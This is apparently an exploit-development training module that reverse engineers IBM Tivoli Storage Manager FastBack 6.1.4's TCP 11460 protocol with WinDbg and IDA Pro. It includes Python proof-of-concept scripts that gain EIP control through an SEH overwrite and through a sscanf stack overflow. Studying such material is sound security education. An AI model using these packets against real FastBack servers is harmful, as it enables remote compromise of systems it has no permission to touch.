Exploit development typically begins with a proof of concept and/or a CVE, but the story starts earlier - first, the vulnerability must be discovered. This module covers the process behind finding vulnerabilities through systematic analysis.
There are two primary techniques for finding vulnerabilities in binary applications:
- Reverse Engineering - Examining a target application's compiled binary using tools that provide higher levels of abstraction to identify potential vulnerabilities
- Fuzzing - Feeding the target application with malformed input to force access violations
The three main stages of reverse engineering are:
flowchart TD
A[Install Target Application] --> B[Enumerate Input Methods]
B --> C[Reverse Engineer Input Parsing Code]
C --> D[Examine File Formats/Network Protocols]
D --> E[Locate Vulnerabilities]
E --> F[Memory Corruptions]
E --> G[Logical Vulnerabilities]
| Technique | Advantages | Disadvantages |
|---|---|---|
| Reverse Engineering | Complete coverage of all code sections | Requires large time investment |
| Fuzzing | Tests large amounts of input against complex applications | Nearly impossible to cover every execution path |
These techniques are often used together - starting with reverse engineering and then switching to fuzzing for the remaining vulnerability discovery process.
The target for analysis is Tivoli Storage Manager FastBack server (TSM) - the server component of an old backup product solution from IBM. The trial installation version 6.1.4 contains multiple vulnerabilities, providing an excellent educational opportunity.
The installation must be performed on the Windows 10 student VM every time the VM is reverted. The installer location is:
C:\Installers\FastBackServer-6.1.4\X86_TryAndBuy\setup.exe
flowchart TD
A[Double-click setup.exe] --> B[Select 'Backup Server' option]
B --> C[Accept trial popup warning]
C --> D[Service failure popup appears]
D --> E[Select 'Ignore' for FastBack Data Deduplication Service]
E --> F[Driver publisher warning appears]
F --> G[Select 'Install this driver software anyway']
G --> H[Accept reboot prompt]
H --> I[Installation Complete]
Important Notes:
- A popup will report "Service FastBack Data Deduplication Service failed to start" - select Ignore
- Windows will warn about missing driver publisher verification - select Install this driver software anyway
- A reboot is required to complete installation
When attacking a binary application, the focus is on finding:
- Unsanitized memory operations
- Logical bugs that could lead to:
- Remote code execution (RCE)
- Local privilege escalation (LPE)
Additional attack vectors to consider:
- Windows Services - Insecure service permission vulnerabilities
- Kernel Drivers - Potential kernel vulnerabilities in loaded drivers
Use TCPView from SysInternals to identify network-listening processes:
- Open TCPView with administrative permissions
- Accept the EULA
- Disable "Resolve Addresses" under Options for easier analysis
graph TB
A[TCPView Analysis] --> B[FastBackMount.exe]
A --> C[FastBackServer.exe]
B --> D[TCP 30051 - External]
B --> E[UDP 30005 - Loopback only]
C --> F[TCP 1320 - External]
C --> G[TCP 11406 - External]
C --> H[TCP 11460 - External]
C --> I[UDP 11461 - External]
subgraph "Attack Surfaces"
J[Remote Attack Surface - RCE]
K[Local Attack Surface - LPE]
end
D --> J
F --> J
G --> J
H --> J
I --> J
Key Findings:
- FastBackMount.exe: TCP 30051 (external), UDP 30005 (loopback)
- FastBackServer.exe: TCP 1320, 11406, 11460 (external), UDP 11461 (external)
For this analysis, we target TCP port 11460 to attack FastBackServer.exe.
To understand how the application processes network data, we hook the Win32 recv API in Wsock32.dll using WinDbg.
0:077> bp wsock32!recv
0:077> g
Why hook recv? When an application receives data from a connected socket, the recv function accepts that data from a listening TCP port. By hooking this function and sending arbitrary data via TCP, we can identify the entry point into the application and inspect how it parses our data.
import socket
import sys
buf = bytearray([0x41]*100)
def main():
if len(sys.argv) != 2:
print("Usage: %s <ip_address>\n" % (sys.argv[0]))
sys.exit(1)
server = sys.argv[1]
port = 11460
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
s.send(buf)
s.close()
print("[+] Packet sent")
sys.exit(0)
if __name__ == "__main__":
main()This PoC connects to the remote TCP port and sends 100 "A" (0x41) characters.
When executed, WinDbg detects the call to recv and breaks:
Breakpoint 0 hit
eax=00000b6c ebx=0604a808 ecx=00df8058 edx=00df8020 esi=0604a808 edi=00669360
eip=67e71e90 esp=0d85fb58 ebp=0d85fe94 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
WSOCK32!recv:
67e71e90 8bff mov edi,edi
int recv(
SOCKET s,
char *buf,
int len,
int flags
);Key Parameters:
- buf: Buffer where received data is stored (0x00df8058)
- len: Maximum buffer length (0x4400 bytes)
0:077> dd esp L5
0d85fb58 00581ae8 00581364 00df8058 00004400
0d85fb68 00000000
0:077> dd 00df8058
00df8058 41414141 41414141 41414141 41414141
00df8068 41414141 41414141 41414141 41414141
...
The analysis confirms our 100 0x41 bytes were successfully received and stored in the buffer.
Combining dynamic analysis (WinDbg) with static analysis (IDA Pro) significantly improves reverse engineering efficiency.
sequenceDiagram
participant W as WinDbg
participant I as IDA Pro
participant T as Target Process
W->>T: Set breakpoint on recv
W->>T: Execute until breakpoint
W->>W: Dump call stack
W->>I: Locate FastBackServer executable
I->>I: Load executable for analysis
W->>I: Synchronize at return address
I->>W: Provide static code analysis
Use the List Loaded Modules command in WinDbg:
0:077> lm m fastbackserver
Browse full module list
start end module name
00400000 00c9c000 FastBackServer (coff symbols)
C:\Program Files\Tivoli\TSM\FastBack\server\FastBackServer.exe
- In WinDbg: Examine the call stack to find the return address into FastBackServer
- In IDA Pro: Load the FastBackServer.exe executable
- Navigate to the same address: Use Jump > Jump to function in IDA Pro
- Align analysis: Ensure both tools point to the same memory location
graph LR
A[WinDbg Dynamic Analysis] <--> B[IDA Pro Static Analysis]
A --> C[Register/Memory Content]
B --> D[Code Flow Understanding]
C --> E[Complete Analysis]
D --> E
With both tools aligned, we can analyze how the application processes our input data.
The first instruction after returning from recv processes the number of bytes received:
mov [ebp+var_8], eax ; Save bytes received to stack
cmp [ebp+var_8], 0FFFFFFFFh ; Compare to SOCKET_ERRORflowchart TD
A[recv() returns] --> B{result == SOCKET_ERROR?}
B -->|Yes| C[Error Handling]
B -->|No| D{result == 0?}
D -->|Yes| E[No Data Received]
D -->|No| F[Process Data]
Equivalent C Pseudocode:
char* buf[0x4400];
DWORD result = recv(s,buf,0x4400,0);
if(result != SOCKET_ERROR)
{
if(result != 0)
{
// Process received data
}
} This section dives deep into tracing input data through the target application memory, covering how TCP data is parsed and verified.
To determine if function calls are relevant to our input processing:
flowchart TD
A[Set hardware breakpoint on input buffer] --> B[Step over function call]
B --> C{Breakpoint triggered?}
C -->|No| D[Function not relevant - skip]
C -->|Yes| E[Function accesses our data]
E --> F[Resend payload and step into call]
The application performs several memory operations on our input:
- Initial Copy: Input buffer → temporary buffer
- Endianness Conversion: First DWORD byte order is reversed
- Validation: Multiple checks on the converted DWORD
void *memcpy(void *str1, const void *str2, size_t n)Function Analysis:
- Copies data from second argument to first argument
- Number of bytes copied specified by third argument
graph TD
A[Input DWORD: 0x41414141] --> B[Fetch and mask operations]
B --> C[Shift operations]
C --> D[Combine results]
D --> E[Result: Byte order reversed]
subgraph "Assembly Operations"
F[AND eax, 0FFh]
G[SHL eax, 18h]
H[SHR edx, 8]
I[AND edx, 0FFh]
J[SHL edx, 10h]
K[OR eax, edx]
end
The application performs multiple validation checks on the processed DWORD:
- Sign Check: Uses Jump Less (JL) - checks Sign Flag and Overflow Flag
- Size Check: Uses Jump Below or Equal (JBE) - unsigned comparison ≤ 0x100000
flowchart TD
A[Modified DWORD] --> B{JL Check: SF ≠ OF?}
B -->|Yes| C[Jump taken]
B -->|No| D{JBE Check: value ≤ 0x100000?}
D -->|Yes| E[Validation passed]
D -->|No| F[Validation failed]
Key Finding: The first DWORD must be sent in big-endian format and equal the size of the remaining buffer to pass validation.
After successful validation, the application copies the input buffer for further processing and returns up the call stack.
sequenceDiagram
participant R as recv
participant C as FX_AGENT_CopyReceiveBuff
participant G as FX_AGENT_GetData
participant Cy as FX_AGENT_Cyclic
participant RC as FXCLI_C_ReceiveCommand
R->>C: Input buffer + validation
C->>G: Validated data
G->>Cy: Return value check
Cy->>RC: Process packet structure
Through analysis, we discover the packet structure:
0x00 - 0x04: Checksum DWORD
0x04 - 0x34: Packet header
0x34 - End: psCommandBuffer
The application allocates two main buffers:
- psCommandBuffer: Size 0x186A4 bytes - initialized with memset to 0
- psAgentCommand: Size 0x30 bytes - contains packet header
graph TD
A[Input Buffer] --> B[Checksum Validation]
B --> C[Memory Allocation]
C --> D[psCommandBuffer - 0x186A4 bytes]
C --> E[psAgentCommand - 0x30 bytes]
D --> F[memset to 0]
E --> G[Copy header data]
F --> H[Copy remaining data]
G --> H
H --> I[Further Processing]
The FXCLI_OraBR_Exec_Command function is extremely large (>1000 basic blocks), requiring adjustment of IDA Pro settings.
Navigate to Options > General > Graph and change Max number of nodes to 10000.
graph TD
A[FXCLI_OraBR_Exec_Command] --> B[Multiple Conditional Checks]
B --> C[Size Validation: DWORD ≤ 0x61A8]
C --> D[Three Similar Checks]
D --> E[Main Functionality Branch]
subgraph "Conditional Structure"
F[if condition 1]
G[if condition 2]
H[if condition 3]
I[if condition 4]
J[if condition 5]
end
Through reverse engineering, we discover the psAgentCommand buffer structure:
0x00: Checksum DWORD
0x04 - 0x30: psAgentCommand
- 0x04 - 0x10: Unknown fields
- 0x14: Offset for 1st copy operation
- 0x18: Size of 1st copy operation
- 0x1C: Offset for 2nd copy operation
- 0x20: Size of 2nd copy operation
- 0x24: Offset for 3rd copy operation
- 0x28: Size of 3rd copy operation
- 0x2C - 0x30: Unknown fields
0x34 - End: psCommandBuffer
The application performs three memcpy operations, each controlled by offset and size values in the header:
flowchart TD
A[psCommandBuffer] --> B[1st memcpy]
A --> C[2nd memcpy]
A --> D[3rd memcpy]
B --> E[Destination Buffer 1]
C --> F[Destination Buffer 2]
D --> G[Destination Buffer 3]
H[psAgentCommand Header] --> I[Offset + Size Controls]
I --> B
I --> C
I --> D
Memory corruption vulnerabilities often stem from insufficiently-sanitized user input in memory manipulation operations.
During analysis of the three memcpy operations, a critical programming error is discovered: the third memcpy operation uses the wrong size validation.
graph TD
A[1st memcpy] --> B[Size check: offset 0x18 ≤ 0x61A8]
C[2nd memcpy] --> D[Size check: offset 0x1C ≤ 0x61A8]
E[3rd memcpy] --> F[Size check: offset 0x4 ≤ 0x61A8]
E --> G[Actual size used: offset 0x28]
F --> H[PROGRAMMING ERROR]
G --> I[Unsanitized Size Parameter]
style F fill:#ff9999
style H fill:#ff9999
style I fill:#ff9999
import socket
import sys
from struct import pack
# Checksum
buf = pack(">i", 0x630)
# psAgentCommand
buf += bytearray([0x41]*0x10)
buf += pack("<i", 0x0) # 1st memcpy: offset
buf += pack("<i", 0x100) # 1st memcpy: size field
buf += pack("<i", 0x100) # 2nd memcpy: offset
buf += pack("<i", 0x200) # 2nd memcpy: size field
buf += pack("<i", 0x300) # 3rd memcpy: offset
buf += pack("<i", 0x300) # 3rd memcpy: size field
buf += bytearray([0x41]*0x8)
# psCommandBuffer
buf += bytearray([0x42]*0x100) # 1st buffer
buf += bytearray([0x43]*0x200) # 2nd buffer
buf += bytearray([0x44]*0x300) # 3rd bufferThe programming error enables triggering a memcpy operation with an unsanitized size value.
For a successful stack overflow attack, two conditions must be met:
graph TD
A[Stack Buffer Overflow] --> B[Condition 1: Destination buffer at lower address than return address]
A --> C[Condition 2: Copy size large enough to overwrite return address]
B --> D[Check with !teb command]
C --> E[Calculate required size: >0x1251C bytes]
D --> F[Stack Base: 0x0d520000]
D --> G[Stack Limit: 0x0d4b6000]
E --> H[Problem: Max packet size 0x4400 bytes]
H --> I[Solution: Use negative offset]
Instead of direct return address overwrite, we target the SEH (Structured Exception Handler) chain:
# Updated PoC for SEH overwrite
import socket
import sys
from struct import pack
# Checksum
buf = pack(">i", 0x2330)
# psAgentCommand
buf += bytearray([0x41]*0x10)
buf += pack("<i", 0x0) # 1st memcpy: offset
buf += pack("<i", 0x1000) # 1st memcpy: size field
buf += pack("<i", 0x0) # 2nd memcpy: offset
buf += pack("<i", 0x1000) # 2nd memcpy: size field
buf += pack("<i", -0x11000) # 3rd memcpy: offset (negative!)
buf += pack("<i", 0x13000) # 3rd memcpy: size field
buf += bytearray([0x41]*0x8)
# psCommandBuffer
buf += bytearray([0x45]*0x100) # 1st buffer
buf += bytearray([0x45]*0x200) # 2nd buffer
buf += bytearray([0x45]*0x2000) # 3rd buffer (larger for SEH overwrite)0:006> !exchain
0d27ff38: 45454545
Invalid exception stack at 45454545
Result: EIP control achieved through SEH chain overwrite (EIP = 0x45454545).
To avoid triggering the unsanitized memcpy vulnerabilities while exploring other functionality, we revert to a valid psAgentCommand buffer configuration.
import socket
import sys
from struct import pack
# Checksum
buf = pack(">i", 0x630)
# psAgentCommand
buf += bytearray([0x41]*0xC)
buf += pack("<i", 0x534) # opcode
buf += pack("<i", 0x0) # 1st memcpy: offset
buf += pack("<i", 0x100) # 1st memcpy: size field
buf += pack("<i", 0x100) # 2nd memcpy: offset
buf += pack("<i", 0x200) # 2nd memcpy: size field
buf += pack("<i", 0x300) # 3rd memcpy: offset
buf += pack("<i", 0x300) # 3rd memcpy: size field
buf += bytearray([0x41]*0x8)
# psCommandBuffer
buf += bytearray([0x42]*0x100) # 1st buffer
buf += bytearray([0x43]*0x200) # 2nd buffer
buf += bytearray([0x44]*0x300) # 3rd bufferThe application uses an opcode system to determine which functionality to execute:
graph TD
A[Input Processing Complete] --> B[Extract Opcode from offset 0x10]
B --> C[Series of Opcode Comparisons]
C --> D[0x1090h comparison]
C --> E[0x903h comparison]
C --> F[0x505h comparison]
C --> G[0x1070h comparison]
C --> H[0x514h comparison]
C --> I[0x521h comparison]
subgraph "Switch Statement Logic"
J[Subtract 0x518 from opcode]
K[Compare result to 0x3B]
L[Jump Table Implementation]
end
D --> J
E --> J
F --> J
The application implements a jump table for opcode dispatch:
- Subtract base value (0x518) from opcode
- Range check against maximum value (0x3B)
- Index calculation using the result
- Indirect jump to function address
Investigation of opcode 0x534 reveals an interesting execution path that leads to additional vulnerabilities.
sequenceDiagram
participant OC as Opcode Check
participant ST as Switch Table
participant SC as FXCLI_SetConfFileChunk
participant SS as sscanf
OC->>ST: Opcode 0x534 processed
ST->>SC: Jump to function
SC->>SS: Call with user data
SS->>SS: Parse format string
This function receives three arguments from our controlled data:
- psAgentCommand buffer - Contains control parameters
- First buffer from psCommandBuffer - Source data
- Third buffer from psCommandBuffer - Additional data
The function calls sscanf with a hardcoded format string:
int sscanf(const char *buffer, const char *format, ... );Format String: "File: %s From: %d To: %d ChunkLoc: %d FileLoc: %d"
Vulnerability Analysis:
- The
%sspecifier copies a null-terminated string without size validation - No bounds checking on destination buffer
- Destination buffer is on the stack
- Large input can overflow the stack and overwrite return address
Distance from destination buffer to return address: 0x114 bytes
This small distance makes stack overflow exploitation straightforward.
import socket
import sys
from struct import pack
# psAgentCommand
buf = bytearray([0x41]*0xC)
buf += pack("<i", 0x534) # opcode
buf += pack("<i", 0x0) # 1st memcpy: offset
buf += pack("<i", 0x200) # 1st memcpy: size field
buf += pack("<i", 0x0) # 2nd memcpy: offset
buf += pack("<i", 0x100) # 2nd memcpy: size field
buf += pack("<i", 0x0) # 3rd memcpy: offset
buf += pack("<i", 0x100) # 3rd memcpy: size field
buf += bytearray([0x41]*0x8)
# psCommandBuffer
formatString = b"File: %s From: %d To: %d ChunkLoc: %d FileLoc: %d" % \
(b"A"*0x200,0,0,0,0)
buf += formatString
# Checksum
buf = pack(">i", len(buf)-4) + buf0:001> k L4
# ChildEBP RetAddr
00 0d79e314 41414141 FastBackServer!FXCLI_SetConfFileChunk+0x40
01 0d7ffe98 0056a21f FastBackServer!FXCLI_OraBR_Exec_Command+0x69a1
...
0:001> g
(1ab0.1320): Access violation - code c0000005 (first chance)
eax=00000000 ebx=060cc190 ecx=0d79ca70 edx=77301670 esi=060cc190 edi=00669360
eip=41414141 esp=0d79e31c ebp=41414141 iopl=0 nv up ei pl zr na pe nc
Result: Successful EIP control (EIP = 0x41414141)
This reverse engineering process demonstrates a systematic approach to vulnerability discovery:
-
Installation and Enumeration
- Identify network-listening services
- Map attack surfaces (remote vs local)
-
Dynamic and Static Analysis Combination
- WinDbg for runtime analysis
- IDA Pro for code flow understanding
- Hardware breakpoints for input tracing
-
Protocol Reverse Engineering
- Input validation analysis
- Buffer structure mapping
- Memory operation tracing
-
Vulnerability Classification
- Memory corruption vulnerabilities
- Logical vulnerabilities
- Programming errors in validation
- Denial of Service: Invalid source buffer in memcpy
- SEH Overwrite: Unsanitized size parameter in third memcpy
- Stack Buffer Overflow: sscanf with unvalidated %s format specifier
0x00: Checksum DWORD
0x04 → 0x30: psAgentCommand
- 0x04 → 0xC: Unused
- 0x10: Opcode
- 0x14: Offset for 1st copy operation
- 0x18: Size of 1st copy operation
- 0x1C: Offset for 2nd copy operation
- 0x20: Size of 2nd copy operation
- 0x24: Offset for 3rd copy operation
- 0x28: Size of 3rd copy operation
- 0x2C → 0x30: Unused
0x34 → End: psCommandBuffer
- 0x34 + offset1 → 0x34 + offset1 + size1: 1st buffer
- 0x34 + offset2 → 0x34 + offset2 + size2: 2nd buffer
- 0x34 + offset3 → 0x34 + offset3 + size3: 3rd buffer